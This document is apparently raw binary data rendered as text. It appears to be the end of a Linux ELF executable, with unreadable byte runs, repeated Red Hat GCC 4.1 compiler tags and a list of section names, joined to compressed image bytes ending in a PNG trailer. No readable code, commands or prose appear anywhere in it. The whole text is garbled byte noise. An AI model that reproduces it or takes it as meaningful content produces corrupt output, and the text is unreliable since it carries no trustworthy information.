`. <`.=``.RUh..`k}...̻ϻh޻.a.Da..7..DZ.u.Ѽ..*.xaE.aa,bWpb.bbg@c.dccc.dXd.dd.d.e.<e.ĽR׽h.pe.ee,fJ-HYaJPfff.g.z6dggg;.g.(hphhh..ھR̻h.i4i.pi 0.i H.i0jYh.pjjj.4ktk.k¿ѿ.k<lll0ImDmmmM.mmh.(nhnQn..mne.o..˽.`oooo.,plpp.p.qDqtqqq8rpr.rr@sh.sst.0t.Xt7tt.7tu.0u.du.muu@vtvh.vv$w	`w.w.w0.>,xXx.RUxh.ix.|y.m8y`yh.yyyy,z\z.6.PW7}zz{.@{f.t{.m{|<|h.h|||,}dh.l}}~@~.h~~.1MR~̻~h.,d~mth...H.p.. ./C.S܀.gRw̻h.R̻h...4l.7.Pf.Ё.w..,.T....87.lL|$`.8t d...DhЈ".8.t.?Wr.ĉ.4.\؊0`.܋..0P...8،...)3DQ.̻hgy..8.d.	.!7.JfȎ.|8d.. .....D.&.lh.̐J?,p.R̻h@W.d.T.ew..4h..ȔP..!.@t..1Ȗ.Oh.Hx..ܗ..Dl.4.И.R(V.Lpj..$.l....R̻ hp.T.ܛ...JL.RȜ̻$ht...RU̻<hx.8.Ȟ,\.6.(Lp.Ġ.N.d.|R0h..R̻h..P@.&.̢7@h.0T.l...Pp.ؤ....R$'D̻Hh|...R(V̻Phr.|И..@..R@̻dh..R(d̻h.,.#.p,.;.U.q..R,|̻Xhr..3ܫ...R.0h.̻h.. .R8Rm̻h..R@.̻lhr..(T...h..R̮!.1<l.Я.TC]|t..qh..Rذ.,h..RT-.5C,.Qn.l..;.qh..R4`̻h. .T... ...R̻Thx.Ե..R
̻h .$<.RPVb.̻.ж|bh...z6dg<`;...iY-.|D>O`.z..d!.ܸ!D@.غ.GCC: (GNU) 4.1.1 20070105 (Red Hat 4.1.1-52)GCC: (GNU) 4.1.1 20070105 (Red Hat 4.1.1-52)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.1 20070105 (Red Hat 4.1.1-52).shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.comment(( !oHH4+||P3̃Q;oJHohh@W	 `	ȅid؆oLuU{V VVVWWWW``X xrk xr<u
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`